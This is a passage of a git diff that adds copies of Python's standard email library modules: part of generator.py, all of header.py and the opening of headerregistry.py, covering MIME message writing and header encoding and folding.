policy=self.policy) + + # + # Protected interface - undocumented ;/ + # + + # Note that we use 'self.write' when what we are writing is coming from + # the source, and self._fp.write when what we are writing is coming from a + # buffer (because the Bytes subclass has already had a chance to transform + # the data in its write method in that case). This is an entirely + # pragmatic split determined by experiment; we could be more general by + # always using write and having the Bytes subclass write method detect when + # it has already transformed the input; but, since this whole thing is a + # hack anyway this seems good enough. + + def _new_buffer(self): + # BytesGenerator overrides this to return BytesIO. + return StringIO() + + def _encode(self, s): + # BytesGenerator overrides this to encode strings to bytes. + return s + + def _write_lines(self, lines): + # We have to transform the line endings. + if not lines: + return + lines = NLCRE.split(lines) + for line in lines[:-1]: + self.write(line) + self.write(self._NL) + if lines[-1]: + self.write(lines[-1]) + # XXX logic tells me this else should be needed, but the tests fail + # with it and pass without it. (NLCRE.split ends with a blank element + # if and only if there was a trailing newline.) + #else: + # self.write(self._NL) + + def _write(self, msg): + # We can't write the headers yet because of the following scenario: + # say a multipart message includes the boundary string somewhere in + # its body. We'd have to calculate the new boundary /before/ we write + # the headers so that we can write the correct Content-Type: + # parameter. + # + # The way we do this, so as to make the _handle_*() methods simpler, + # is to cache any subpart writes into a buffer. The we write the + # headers and the buffer contents. That way, subpart handlers can + # Do The Right Thing, and can still modify the Content-Type: header if + # necessary. + oldfp = self._fp + try: + self._munge_cte = None + self._fp = sfp = self._new_buffer() + self._dispatch(msg) + finally: + self._fp = oldfp + munge_cte = self._munge_cte + del self._munge_cte + # If we munged the cte, copy the message again and re-fix the CTE. + if munge_cte: + msg = deepcopy(msg) + msg.replace_header('content-transfer-encoding', munge_cte[0]) + msg.replace_header('content-type', munge_cte[1]) + # Write the headers. First we see if the message object wants to + # handle that itself. If not, we'll do it generically. + meth = getattr(msg, '_write_headers', None) + if meth is None: + self._write_headers(msg) + else: + meth(self) + self._fp.write(sfp.getvalue()) + + def _dispatch(self, msg): + # Get the Content-Type: for the message, then try to dispatch to + # self._handle__(). If there's no handler for the + # full MIME type, then dispatch to self._handle_(). If + # that's missing too, then dispatch to self._writeBody(). + main = msg.get_content_maintype() + sub = msg.get_content_subtype() + specific = UNDERSCORE.join((main, sub)).replace('-', '_') + meth = getattr(self, '_handle_' + specific, None) + if meth is None: + generic = main.replace('-', '_') + meth = getattr(self, '_handle_' + generic, None) + if meth is None: + meth = self._writeBody + meth(msg) + + # + # Default handlers + # + + def _write_headers(self, msg): + for h, v in msg.raw_items(): + self.write(self.policy.fold(h, v)) + # A blank line always separates headers from body + self.write(self._NL) + + # + # Handlers for writing types and subtypes + # + + def _handle_text(self, msg): + payload = msg.get_payload() + if payload is None: + return + if not isinstance(payload, str): + raise TypeError('string payload expected: %s' % type(payload)) + if _has_surrogates(msg._payload): + charset = msg.get_param('charset') + if charset is not None: + # XXX: This copy stuff is an ugly hack to avoid modifying the + # existing message. + msg = deepcopy(msg) + del msg['content-transfer-encoding'] + msg.set_payload(payload, charset) + payload = msg.get_payload() + self._munge_cte = (msg['content-transfer-encoding'], + msg['content-type']) + if self._mangle_from_: + payload = fcre.sub('>From ', payload) + self._write_lines(payload) + + # Default body handler + _writeBody = _handle_text + + def _handle_multipart(self, msg): + # The trick here is to write out each part separately, merge them all + # together, and then make sure that the boundary we've chosen isn't + # present in the payload. + msgtexts = [] + subparts = msg.get_payload() + if subparts is None: + subparts = [] + elif isinstance(subparts, str): + # e.g. a non-strict parse of a message with no starting boundary. + self.write(subparts) + return + elif not isinstance(subparts, list): + # Scalar payload + subparts = [subparts] + for part in subparts: + s = self._new_buffer() + g = self.clone(s) + g.flatten(part, unixfrom=False, linesep=self._NL) + msgtexts.append(s.getvalue()) + # BAW: What about boundaries that are wrapped in double-quotes? + boundary = msg.get_boundary() + if not boundary: + # Create a boundary that doesn't appear in any of the + # message texts. + alltext = self._encoded_NL.join(msgtexts) + boundary = self._make_boundary(alltext) + msg.set_boundary(boundary) + # If there's a preamble, write it out, with a trailing CRLF + if msg.preamble is not None: + if self._mangle_from_: + preamble = fcre.sub('>From ', msg.preamble) + else: + preamble = msg.preamble + self._write_lines(preamble) + self.write(self._NL) + # dash-boundary transport-padding CRLF + self.write('--' + boundary + self._NL) + # body-part + if msgtexts: + self._fp.write(msgtexts.pop(0)) + # *encapsulation + # --> delimiter transport-padding + # --> CRLF body-part + for body_part in msgtexts: + # delimiter transport-padding CRLF + self.write(self._NL + '--' + boundary + self._NL) + # body-part + self._fp.write(body_part) + # close-delimiter transport-padding + self.write(self._NL + '--' + boundary + '--' + self._NL) + if msg.epilogue is not None: + if self._mangle_from_: + epilogue = fcre.sub('>From ', msg.epilogue) + else: + epilogue = msg.epilogue + self._write_lines(epilogue) + + def _handle_multipart_signed(self, msg): + # The contents of signed parts has to stay unmodified in order to keep + # the signature intact per RFC1847 2.1, so we disable header wrapping. + # RDM: This isn't enough to completely preserve the part, but it helps. + p = self.policy + self.policy = p.clone(max_line_length=0) + try: + self._handle_multipart(msg) + finally: + self.policy = p + + def _handle_message_delivery_status(self, msg): + # We can't just write the headers directly to self's file object + # because this will leave an extra newline between the last header + # block and the boundary. Sigh. + blocks = [] + for part in msg.get_payload(): + s = self._new_buffer() + g = self.clone(s) + g.flatten(part, unixfrom=False, linesep=self._NL) + text = s.getvalue() + lines = text.split(self._encoded_NL) + # Strip off the unnecessary trailing empty line + if lines and lines[-1] == self._encoded_EMPTY: + blocks.append(self._encoded_NL.join(lines[:-1])) + else: + blocks.append(text) + # Now join all the blocks with an empty line. This has the lovely + # effect of separating each block with an empty line, but not adding + # an extra one after the last one. + self._fp.write(self._encoded_NL.join(blocks)) + + def _handle_message(self, msg): + s = self._new_buffer() + g = self.clone(s) + # The payload of a message/rfc822 part should be a multipart sequence + # of length 1. The zeroth element of the list should be the Message + # object for the subpart. Extract that object, stringify it, and + # write it out. + # Except, it turns out, when it's a string instead, which happens when + # and only when HeaderParser is used on a message of mime type + # message/rfc822. Such messages are generated by, for example, + # Groupwise when forwarding unadorned messages. (Issue 7970.) So + # in that case we just emit the string body. + payload = msg._payload + if isinstance(payload, list): + g.flatten(msg.get_payload(0), unixfrom=False, linesep=self._NL) + payload = s.getvalue() + else: + payload = self._encode(payload) + self._fp.write(payload) + + # This used to be a module level function; we use a classmethod for this + # and _compile_re so we can continue to provide the module level function + # for backward compatibility by doing + # _make_boundary = Generator._make_boundary + # at the end of the module. It *is* internal, so we could drop that... + @classmethod + def _make_boundary(cls, text=None): + # Craft a random boundary. If text is given, ensure that the chosen + # boundary doesn't appear in the text. + token = random.randrange(sys.maxsize) + boundary = ('=' * 15) + (_fmt % token) + '==' + if text is None: + return boundary + b = boundary + counter = 0 + while True: + cre = cls._compile_re('^--' + re.escape(b) + '(--)?$', re.MULTILINE) + if not cre.search(text): + break + b = boundary + '.' + str(counter) + counter += 1 + return b + + @classmethod + def _compile_re(cls, s, flags): + return re.compile(s, flags) + + +class BytesGenerator(Generator): + """Generates a bytes version of a Message object tree. + + Functionally identical to the base Generator except that the output is + bytes and not string. When surrogates were used in the input to encode + bytes, these are decoded back to bytes for output. If the policy has + cte_type set to 7bit, then the message is transformed such that the + non-ASCII bytes are properly content transfer encoded, using the charset + unknown-8bit. + + The outfp object must accept bytes in its write method. + """ + + def write(self, s): + self._fp.write(s.encode('ascii', 'surrogateescape')) + + def _new_buffer(self): + return BytesIO() + + def _encode(self, s): + return s.encode('ascii') + + def _write_headers(self, msg): + # This is almost the same as the string version, except for handling + # strings with 8bit bytes. + for h, v in msg.raw_items(): + self._fp.write(self.policy.fold_binary(h, v)) + # A blank line always separates headers from body + self.write(self._NL) + + def _handle_text(self, msg): + # If the string has surrogates the original source was bytes, so + # just write it back out. + if msg._payload is None: + return + if _has_surrogates(msg._payload) and not self.policy.cte_type=='7bit': + if self._mangle_from_: + msg._payload = fcre.sub(">From ", msg._payload) + self._write_lines(msg._payload) + else: + super(BytesGenerator,self)._handle_text(msg) + + # Default body handler + _writeBody = _handle_text + + @classmethod + def _compile_re(cls, s, flags): + return re.compile(s.encode('ascii'), flags) + + + +_FMT = '[Non-text (%(type)s) part of message omitted, filename %(filename)s]' + +class DecodedGenerator(Generator): + """Generates a text representation of a message. + + Like the Generator base class, except that non-text parts are substituted + with a format string representing the part. + """ + def __init__(self, outfp, mangle_from_=None, maxheaderlen=None, fmt=None, *, + policy=None): + """Like Generator.__init__() except that an additional optional + argument is allowed. + + Walks through all subparts of a message. If the subpart is of main + type `text', then it prints the decoded payload of the subpart. + + Otherwise, fmt is a format string that is used instead of the message + payload. fmt is expanded with the following keywords (in + %(keyword)s format): + + type : Full MIME type of the non-text part + maintype : Main MIME type of the non-text part + subtype : Sub-MIME type of the non-text part + filename : Filename of the non-text part + description: Description associated with the non-text part + encoding : Content transfer encoding of the non-text part + + The default value for fmt is None, meaning + + [Non-text (%(type)s) part of message omitted, filename %(filename)s] + """ + Generator.__init__(self, outfp, mangle_from_, maxheaderlen, + policy=policy) + if fmt is None: + self._fmt = _FMT + else: + self._fmt = fmt + + def _dispatch(self, msg): + for part in msg.walk(): + maintype = part.get_content_maintype() + if maintype == 'text': + print(part.get_payload(decode=False), file=self) + elif maintype == 'multipart': + # Just skip this + pass + else: + print(self._fmt % { + 'type' : part.get_content_type(), + 'maintype' : part.get_content_maintype(), + 'subtype' : part.get_content_subtype(), + 'filename' : part.get_filename('[no filename]'), + 'description': part.get('Content-Description', + '[no description]'), + 'encoding' : part.get('Content-Transfer-Encoding', + '[no encoding]'), + }, file=self) + + + +# Helper used by Generator._make_boundary +_width = len(repr(sys.maxsize-1)) +_fmt = '%%0%dd' % _width + +# Backward compatibility +_make_boundary = Generator._make_boundary diff --git a/email/header.py b/email/header.py new file mode 100755 index 0000000..c7b2dd9 --- /dev/null +++ b/email/header.py @@ -0,0 +1,578 @@ +# Copyright (C) 2002-2007 Python Software Foundation +# Author: Ben Gertzfield, Barry Warsaw +# Contact: email-sig@python.org + +"""Header encoding and decoding functionality.""" + +__all__ = [ + 'Header', + 'decode_header', + 'make_header', + ] + +import re +import binascii + +import email.quoprimime +import email.base64mime + +from email.errors import HeaderParseError +from email import charset as _charset +Charset = _charset.Charset + +NL = '\n' +SPACE = ' ' +BSPACE = b' ' +SPACE8 = ' ' * 8 +EMPTYSTRING = '' +MAXLINELEN = 78 +FWS = ' \t' + +USASCII = Charset('us-ascii') +UTF8 = Charset('utf-8') + +# Match encoded-word strings in the form =?charset?q?Hello_World?= +ecre = re.compile(r''' + =\? # literal =? + (?P[^?]*?) # non-greedy up to the next ? is the charset + \? # literal ? + (?P[qb]) # either a "q" or a "b", case insensitive + \? # literal ? + (?P.*?) # non-greedy up to the next ?= is the encoded string + \?= # literal ?= + ''', re.VERBOSE | re.IGNORECASE | re.MULTILINE) + +# Field name regexp, including trailing colon, but not separating whitespace, +# according to RFC 2822. Character range is from tilde to exclamation mark. +# For use with .match() +fcre = re.compile(r'[\041-\176]+:$') + +# Find a header embedded in a putative header value. Used to check for +# header injection attack. +_embedded_header = re.compile(r'\n[^ \t]+:') + + + +# Helpers +_max_append = email.quoprimime._max_append + + + +def decode_header(header): + """Decode a message header value without converting charset. + + Returns a list of (string, charset) pairs containing each of the decoded + parts of the header. Charset is None for non-encoded parts of the header, + otherwise a lower-case string containing the name of the character set + specified in the encoded string. + + header may be a string that may or may not contain RFC2047 encoded words, + or it may be a Header object. + + An email.errors.HeaderParseError may be raised when certain decoding error + occurs (e.g. a base64 decoding exception). + """ + # If it is a Header object, we can just return the encoded chunks. + if hasattr(header, '_chunks'): + return [(_charset._encode(string, str(charset)), str(charset)) + for string, charset in header._chunks] + # If no encoding, just return the header with no charset. + if not ecre.search(header): + return [(header, None)] + # First step is to parse all the encoded parts into triplets of the form + # (encoded_string, encoding, charset). For unencoded strings, the last + # two parts will be None. + words = [] + for line in header.splitlines(): + parts = ecre.split(line) + first = True + while parts: + unencoded = parts.pop(0) + if first: + unencoded = unencoded.lstrip() + first = False + if unencoded: + words.append((unencoded, None, None)) + if parts: + charset = parts.pop(0).lower() + encoding = parts.pop(0).lower() + encoded = parts.pop(0) + words.append((encoded, encoding, charset)) + # Now loop over words and remove words that consist of whitespace + # between two encoded strings. + droplist = [] + for n, w in enumerate(words): + if n>1 and w[1] and words[n-2][1] and words[n-1][0].isspace(): + droplist.append(n-1) + for d in reversed(droplist): + del words[d] + + # The next step is to decode each encoded word by applying the reverse + # base64 or quopri transformation. decoded_words is now a list of the + # form (decoded_word, charset). + decoded_words = [] + for encoded_string, encoding, charset in words: + if encoding is None: + # This is an unencoded word. + decoded_words.append((encoded_string, charset)) + elif encoding == 'q': + word = email.quoprimime.header_decode(encoded_string) + decoded_words.append((word, charset)) + elif encoding == 'b': + paderr = len(encoded_string) % 4 # Postel's law: add missing padding + if paderr: + encoded_string += '==='[:4 - paderr] + try: + word = email.base64mime.decode(encoded_string) + except binascii.Error: + raise HeaderParseError('Base64 decoding error') + else: + decoded_words.append((word, charset)) + else: + raise AssertionError('Unexpected encoding: ' + encoding) + # Now convert all words to bytes and collapse consecutive runs of + # similarly encoded words. + collapsed = [] + last_word = last_charset = None + for word, charset in decoded_words: + if isinstance(word, str): + word = bytes(word, 'raw-unicode-escape') + if last_word is None: + last_word = word + last_charset = charset + elif charset != last_charset: + collapsed.append((last_word, last_charset)) + last_word = word + last_charset = charset + elif last_charset is None: + last_word += BSPACE + word + else: + last_word += word + collapsed.append((last_word, last_charset)) + return collapsed + + + +def make_header(decoded_seq, maxlinelen=None, header_name=None, + continuation_ws=' '): + """Create a Header from a sequence of pairs as returned by decode_header() + + decode_header() takes a header value string and returns a sequence of + pairs of the format (decoded_string, charset) where charset is the string + name of the character set. + + This function takes one of those sequence of pairs and returns a Header + instance. Optional maxlinelen, header_name, and continuation_ws are as in + the Header constructor. + """ + h = Header(maxlinelen=maxlinelen, header_name=header_name, + continuation_ws=continuation_ws) + for s, charset in decoded_seq: + # None means us-ascii but we can simply pass it on to h.append() + if charset is not None and not isinstance(charset, Charset): + charset = Charset(charset) + h.append(s, charset) + return h + + + +class Header: + def __init__(self, s=None, charset=None, + maxlinelen=None, header_name=None, + continuation_ws=' ', errors='strict'): + """Create a MIME-compliant header that can contain many character sets. + + Optional s is the initial header value. If None, the initial header + value is not set. You can later append to the header with .append() + method calls. s may be a byte string or a Unicode string, but see the + .append() documentation for semantics. + + Optional charset serves two purposes: it has the same meaning as the + charset argument to the .append() method. It also sets the default + character set for all subsequent .append() calls that omit the charset + argument. If charset is not provided in the constructor, the us-ascii + charset is used both as s's initial charset and as the default for + subsequent .append() calls. + + The maximum line length can be specified explicitly via maxlinelen. For + splitting the first line to a shorter value (to account for the field + header which isn't included in s, e.g. `Subject') pass in the name of + the field in header_name. The default maxlinelen is 78 as recommended + by RFC 2822. + + continuation_ws must be RFC 2822 compliant folding whitespace (usually + either a space or a hard tab) which will be prepended to continuation + lines. + + errors is passed through to the .append() call. + """ + if charset is None: + charset = USASCII + elif not isinstance(charset, Charset): + charset = Charset(charset) + self._charset = charset + self._continuation_ws = continuation_ws + self._chunks = [] + if s is not None: + self.append(s, charset, errors) + if maxlinelen is None: + maxlinelen = MAXLINELEN + self._maxlinelen = maxlinelen + if header_name is None: + self._headerlen = 0 + else: + # Take the separating colon and space into account. + self._headerlen = len(header_name) + 2 + + def __str__(self): + """Return the string value of the header.""" + self._normalize() + uchunks = [] + lastcs = None + lastspace = None + for string, charset in self._chunks: + # We must preserve spaces between encoded and non-encoded word + # boundaries, which means for us we need to add a space when we go + # from a charset to None/us-ascii, or from None/us-ascii to a + # charset. Only do this for the second and subsequent chunks. + # Don't add a space if the None/us-ascii string already has + # a space (trailing or leading depending on transition) + nextcs = charset + if nextcs == _charset.UNKNOWN8BIT: + original_bytes = string.encode('ascii', 'surrogateescape') + string = original_bytes.decode('ascii', 'replace') + if uchunks: + hasspace = string and self._nonctext(string[0]) + if lastcs not in (None, 'us-ascii'): + if nextcs in (None, 'us-ascii') and not hasspace: + uchunks.append(SPACE) + nextcs = None + elif nextcs not in (None, 'us-ascii') and not lastspace: + uchunks.append(SPACE) + lastspace = string and self._nonctext(string[-1]) + lastcs = nextcs + uchunks.append(string) + return EMPTYSTRING.join(uchunks) + + # Rich comparison operators for equality only. BAW: does it make sense to + # have or explicitly disable <, <=, >, >= operators? + def __eq__(self, other): + # other may be a Header or a string. Both are fine so coerce + # ourselves to a unicode (of the unencoded header value), swap the + # args and do another comparison. + return other == str(self) + + def append(self, s, charset=None, errors='strict'): + """Append a string to the MIME header. + + Optional charset, if given, should be a Charset instance or the name + of a character set (which will be converted to a Charset instance). A + value of None (the default) means that the charset given in the + constructor is used. + + s may be a byte string or a Unicode string. If it is a byte string + (i.e. isinstance(s, str) is false), then charset is the encoding of + that byte string, and a UnicodeError will be raised if the string + cannot be decoded with that charset. If s is a Unicode string, then + charset is a hint specifying the character set of the characters in + the string. In either case, when producing an RFC 2822 compliant + header using RFC 2047 rules, the string will be encoded using the + output codec of the charset. If the string cannot be encoded to the + output codec, a UnicodeError will be raised. + + Optional `errors' is passed as the errors argument to the decode + call if s is a byte string. + """ + if charset is None: + charset = self._charset + elif not isinstance(charset, Charset): + charset = Charset(charset) + if not isinstance(s, str): + input_charset = charset.input_codec or 'us-ascii' + if input_charset == _charset.UNKNOWN8BIT: + s = s.decode('us-ascii', 'surrogateescape') + else: + s = s.decode(input_charset, errors) + # Ensure that the bytes we're storing can be decoded to the output + # character set, otherwise an early error is raised. + output_charset = charset.output_codec or 'us-ascii' + if output_charset != _charset.UNKNOWN8BIT: + try: + s.encode(output_charset, errors) + except UnicodeEncodeError: + if output_charset!='us-ascii': + raise + charset = UTF8 + self._chunks.append((s, charset)) + + def _nonctext(self, s): + """True if string s is not a ctext character of RFC822. + """ + return s.isspace() or s in ('(', ')', '\\') + + def encode(self, splitchars=';, \t', maxlinelen=None, linesep='\n'): + r"""Encode a message header into an RFC-compliant format. + + There are many issues involved in converting a given string for use in + an email header. Only certain character sets are readable in most + email clients, and as header strings can only contain a subset of + 7-bit ASCII, care must be taken to properly convert and encode (with + Base64 or quoted-printable) header strings. In addition, there is a + 75-character length limit on any given encoded header field, so + line-wrapping must be performed, even with double-byte character sets. + + Optional maxlinelen specifies the maximum length of each generated + line, exclusive of the linesep string. Individual lines may be longer + than maxlinelen if a folding point cannot be found. The first line + will be shorter by the length of the header name plus ": " if a header + name was specified at Header construction time. The default value for + maxlinelen is determined at header construction time. + + Optional splitchars is a string containing characters which should be + given extra weight by the splitting algorithm during normal header + wrapping. This is in very rough support of RFC 2822's `higher level + syntactic breaks': split points preceded by a splitchar are preferred + during line splitting, with the characters preferred in the order in + which they appear in the string. Space and tab may be included in the + string to indicate whether preference should be given to one over the + other as a split point when other split chars do not appear in the line + being split. Splitchars does not affect RFC 2047 encoded lines. + + Optional linesep is a string to be used to separate the lines of + the value. The default value is the most useful for typical + Python applications, but it can be set to \r\n to produce RFC-compliant + line separators when needed. + """ + self._normalize() + if maxlinelen is None: + maxlinelen = self._maxlinelen + # A maxlinelen of 0 means don't wrap. For all practical purposes, + # choosing a huge number here accomplishes that and makes the + # _ValueFormatter algorithm much simpler. + if maxlinelen == 0: + maxlinelen = 1000000 + formatter = _ValueFormatter(self._headerlen, maxlinelen, + self._continuation_ws, splitchars) + lastcs = None + hasspace = lastspace = None + for string, charset in self._chunks: + if hasspace is not None: + hasspace = string and self._nonctext(string[0]) + if lastcs not in (None, 'us-ascii'): + if not hasspace or charset not in (None, 'us-ascii'): + formatter.add_transition() + elif charset not in (None, 'us-ascii') and not lastspace: + formatter.add_transition() + lastspace = string and self._nonctext(string[-1]) + lastcs = charset + hasspace = False + lines = string.splitlines() + if lines: + formatter.feed('', lines[0], charset) + else: + formatter.feed('', '', charset) + for line in lines[1:]: + formatter.newline() + if charset.header_encoding is not None: + formatter.feed(self._continuation_ws, ' ' + line.lstrip(), + charset) + else: + sline = line.lstrip() + fws = line[:len(line)-len(sline)] + formatter.feed(fws, sline, charset) + if len(lines) > 1: + formatter.newline() + if self._chunks: + formatter.add_transition() + value = formatter._str(linesep) + if _embedded_header.search(value): + raise HeaderParseError("header value appears to contain " + "an embedded header: {!r}".format(value)) + return value + + def _normalize(self): + # Step 1: Normalize the chunks so that all runs of identical charsets + # get collapsed into a single unicode string. + chunks = [] + last_charset = None + last_chunk = [] + for string, charset in self._chunks: + if charset == last_charset: + last_chunk.append(string) + else: + if last_charset is not None: + chunks.append((SPACE.join(last_chunk), last_charset)) + last_chunk = [string] + last_charset = charset + if last_chunk: + chunks.append((SPACE.join(last_chunk), last_charset)) + self._chunks = chunks + + + +class _ValueFormatter: + def __init__(self, headerlen, maxlen, continuation_ws, splitchars): + self._maxlen = maxlen + self._continuation_ws = continuation_ws + self._continuation_ws_len = len(continuation_ws) + self._splitchars = splitchars + self._lines = [] + self._current_line = _Accumulator(headerlen) + + def _str(self, linesep): + self.newline() + return linesep.join(self._lines) + + def __str__(self): + return self._str(NL) + + def newline(self): + end_of_line = self._current_line.pop() + if end_of_line != (' ', ''): + self._current_line.push(*end_of_line) + if len(self._current_line) > 0: + if self._current_line.is_onlyws(): + self._lines[-1] += str(self._current_line) + else: + self._lines.append(str(self._current_line)) + self._current_line.reset() + + def add_transition(self): + self._current_line.push(' ', '') + + def feed(self, fws, string, charset): + # If the charset has no header encoding (i.e. it is an ASCII encoding) + # then we must split the header at the "highest level syntactic break" + # possible. Note that we don't have a lot of smarts about field + # syntax; we just try to break on semi-colons, then commas, then + # whitespace. Eventually, this should be pluggable. + if charset.header_encoding is None: + self._ascii_split(fws, string, self._splitchars) + return + # Otherwise, we're doing either a Base64 or a quoted-printable + # encoding which means we don't need to split the line on syntactic + # breaks. We can basically just find enough characters to fit on the + # current line, minus the RFC 2047 chrome. What makes this trickier + # though is that we have to split at octet boundaries, not character + # boundaries but it's only safe to split at character boundaries so at + # best we can only get close. + encoded_lines = charset.header_encode_lines(string, self._maxlengths()) + # The first element extends the current line, but if it's None then + # nothing more fit on the current line so start a new line. + try: + first_line = encoded_lines.pop(0) + except IndexError: + # There are no encoded lines, so we're done. + return + if first_line is not None: + self._append_chunk(fws, first_line) + try: + last_line = encoded_lines.pop() + except IndexError: + # There was only one line. + return + self.newline() + self._current_line.push(self._continuation_ws, last_line) + # Everything else are full lines in themselves. + for line in encoded_lines: + self._lines.append(self._continuation_ws + line) + + def _maxlengths(self): + # The first line's length. + yield self._maxlen - len(self._current_line) + while True: + yield self._maxlen - self._continuation_ws_len + + def _ascii_split(self, fws, string, splitchars): + # The RFC 2822 header folding algorithm is simple in principle but + # complex in practice. Lines may be folded any place where "folding + # white space" appears by inserting a linesep character in front of the + # FWS. The complication is that not all spaces or tabs qualify as FWS, + # and we are also supposed to prefer to break at "higher level + # syntactic breaks". We can't do either of these without intimate + # knowledge of the structure of structured headers, which we don't have + # here. So the best we can do here is prefer to break at the specified + # splitchars, and hope that we don't choose any spaces or tabs that + # aren't legal FWS. (This is at least better than the old algorithm, + # where we would sometimes *introduce* FWS after a splitchar, or the + # algorithm before that, where we would turn all white space runs into + # single spaces or tabs.) + parts = re.split("(["+FWS+"]+)", fws+string) + if parts[0]: + parts[:0] = [''] + else: + parts.pop(0) + for fws, part in zip(*[iter(parts)]*2): + self._append_chunk(fws, part) + + def _append_chunk(self, fws, string): + self._current_line.push(fws, string) + if len(self._current_line) > self._maxlen: + # Find the best split point, working backward from the end. + # There might be none, on a long first line. + for ch in self._splitchars: + for i in range(self._current_line.part_count()-1, 0, -1): + if ch.isspace(): + fws = self._current_line[i][0] + if fws and fws[0]==ch: + break + prevpart = self._current_line[i-1][1] + if prevpart and prevpart[-1]==ch: + break + else: + continue + break + else: + fws, part = self._current_line.pop() + if self._current_line._initial_size > 0: + # There will be a header, so leave it on a line by itself. + self.newline() + if not fws: + # We don't use continuation_ws here because the whitespace + # after a header should always be a space. + fws = ' ' + self._current_line.push(fws, part) + return + remainder = self._current_line.pop_from(i) + self._lines.append(str(self._current_line)) + self._current_line.reset(remainder) + + +class _Accumulator(list): + + def __init__(self, initial_size=0): + self._initial_size = initial_size + super().__init__() + + def push(self, fws, string): + self.append((fws, string)) + + def pop_from(self, i=0): + popped = self[i:] + self[i:] = [] + return popped + + def pop(self): + if self.part_count()==0: + return ('', '') + return super().pop() + + def __len__(self): + return sum((len(fws)+len(part) for fws, part in self), + self._initial_size) + + def __str__(self): + return EMPTYSTRING.join((EMPTYSTRING.join((fws, part)) + for fws, part in self)) + + def reset(self, startval=None): + if startval is None: + startval = [] + self[:] = startval + self._initial_size = 0 + + def is_onlyws(self): + return self._initial_size==0 and (not self or str(self).isspace()) + + def part_count(self): + return super().__len__() diff --git a/email/headerregistry.py b/email/headerregistry.py new file mode 100755 index 0000000..f5be87f --- /dev/null +++ b/email/headerregistry.py @@ -0,0 +1,589 @@ +"""Representing and manipulating email headers via custom objects. + +This module provides an implementation of the HeaderRegistry API. +The implementation is designed to flexibly follow RFC5322 rules. + +Eventually HeaderRegistry will be a public API, but it isn't yet, +and will probably change some before that happens. + +""" +from types import MappingProxyType + +from email import utils +from email import errors +from email import _header_value_parser as parser + +class Address: + + def __init__(self, display_name='', username='', domain='', addr_spec=None): + """Create an object representing a full email address. + + An address can have a 'display_name', a 'username', and a 'domain'. In + addition to specifying the username and domain separately, they may be + specified together by using the addr_spec keyword *instead of* the + username and domain keywords. If an addr_spec string is specified it + must be properly quoted according to RFC 5322 rules; an error will be + raised if it is not. + + An Address object has display_name, username, domain, and addr_spec + attributes, all of which are read-only. The addr_spec and the string + value of the object are both quoted according to RFC5322 rules, but + without any Content Transfer Encoding. + + """ + # This clause with its potential 'raise' may only happen when an + # application program creates an Address object using an addr_spec + # keyword. The email library code itself must always supply username + # and domain. + if addr_spec is not None: + if username or domain: + raise TypeError("addrspec specified when username and/or " + "domain also specified") + a_s, rest = parser.get_addr_spec(addr_spec) + if rest: + raise ValueError("Invalid addr_spec; only '{}' " + "could be parsed from '{}'".format( + a_s, addr_spec)) + if a_s.all_defects: + raise a_s.all_defects[0] + username = a_s.local_part + domain = a_s.domain + self._display_name = display_name + self._username = username + self._domain = domain + + @property + def display_name(self): + return self._display_name + + @property + def username(self): + return self._username + + @property + def domain(self): + return self._domain + + @property + def addr_spec(self): + """The addr_spec (username@domain) portion of the address, quoted + according to RFC 5322 rules, but with no Content Transfer Encoding. + """ + nameset = set(self.username) + if len(nameset) > len(nameset-parser.DOT_ATOM_ENDS): + lp = parser.quote_string(self.username) + else: + lp = self.username + if self.domain: + return lp + '@' + self.domain + if not lp: + return '<>' + return lp + + def __repr__(self): + return "{}(display_name={!r}, username={!r}, domain={!r})".format( + self.__class__.__name__, + self.display_name, self.username, self.domain) + + def __str__(self): + nameset = set(self.display_name) + if len(nameset) > len(nameset-parser.SPECIALS): + disp = parser.quote_string(self.display_name) + else: + disp = self.display_name + if disp: + addr_spec = '' if self.addr_spec=='<>' else self.addr_spec + return "{} <{}>".format(disp, addr_spec) + return self.addr_spec + + def __eq__(self, other): + if type(other) != type(self): + return False + return (self.display_name == other.display_name and + self.username == other.username and + self.domain == other.domain) + + +class Group: + + def __init__(self, display_name=None, addresses=None): + """Create an object representing an address group. + + An address group consists of a display_name followed by colon and a + list of addresses (see Address) terminated by a semi-colon. The Group + is created by specifying a display_name and a possibly empty list of + Address objects. A Group can also be used to represent a single + address that is not in a group, which is convenient when manipulating + lists that are a combination of Groups and individual Addresses. In + this case the display_name should be set to None. In particular, the + string representation of a Group whose display_name is None is the same + as the Address object, if there is one and only one Address object in + the addresses list. + + """ + self._display_name = display_name + self._addresses = tuple(addresses) if addresses else tuple() + + @property + def display_name(self): + return self._display_name + + @property + def addresses(self): + return self._addresses + + def __repr__(self): + return "{}(display_name={!r}, addresses={!r}".format( + self.__class__.__name__, + self.display_name, self.addresses) + + def __str__(self): + if self.display_name is None and len(self.addresses)==1: + return str(self.addresses[0]) + disp = self.display_name + if disp is not None: + nameset = set(disp) + if len(nameset) > len(nameset-parser.SPECIALS): + disp = parser.quote_string(disp) + adrstr = ", ".join(str(x) for x in self.addresses) + adrstr = ' ' + adrstr if adrstr else adrstr + return "{}:{};".format(disp, adrstr) + + def __eq__(self, other): + if type(other) != type(self): + return False + return (self.display_name == other.display_name and + self.addresses == other.addresses) + + +# Header Classes # + +class BaseHeader(str): + + """Base class for message headers. + + Implements generic behavior and provides tools for subclasses. + + A subclass must define a classmethod named 'parse' that takes an unfolded + value string and a dictionary as its arguments. The dictionary will + contain one key, 'defects', initialized to an empty list. After the call + the dictionary must contain two additional keys: parse_tree, set to the + parse tree obtained from parsing the header, and 'decoded', set to the + string value of the idealized representation of the data from the value. + (That is, encoded words are decoded, and values that have canonical + representations are so represented.) + + The defects key is intended to collect parsing defects, which the message + parser will subsequently dispose of as appropriate. The parser should not, + insofar as practical, raise any errors. Defects should be added to the + list instead. The standard header parsers register defects for RFC + compliance issues, for obsolete RFC syntax, and for unrecoverable parsing + errors. + + The parse method may add additional keys to the dictionary. In this case + the subclass must define an 'init' method, which will be passed the + dictionary as its keyword arguments. The method should use (usually by + setting them as the value of similarly named attributes) and remove all the + extra keys added by its parse method, and then use super to call its parent + class with the remaining arguments and keywords. + + The subclass should also make sure that a 'max_count' attribute is defined + that is either None or 1. XXX: need to better define this API. + + """ + + def __new__(cls, name, value): + kwds = {'defects': []} + cls.parse(value, kwds) + if utils._has_surrogates(kwds['decoded']): + kwds['decoded'] = utils._sanitize(kwds['decoded']) + self = str.__new__(cls, kwds['decoded']) + del kwds['decoded'] + self.init(name, **kwds) + return self + + def init(self, name, *, parse_tree, defects): + self._name = name + self._parse_tree = parse_tree + self._defects = defects + + @property + def name(self): + return self._name + + @property + def defects(self): + return tuple(self._defects) + + def __reduce__(self): + return ( + _reconstruct_header, + ( + self.__class__.__name__, + 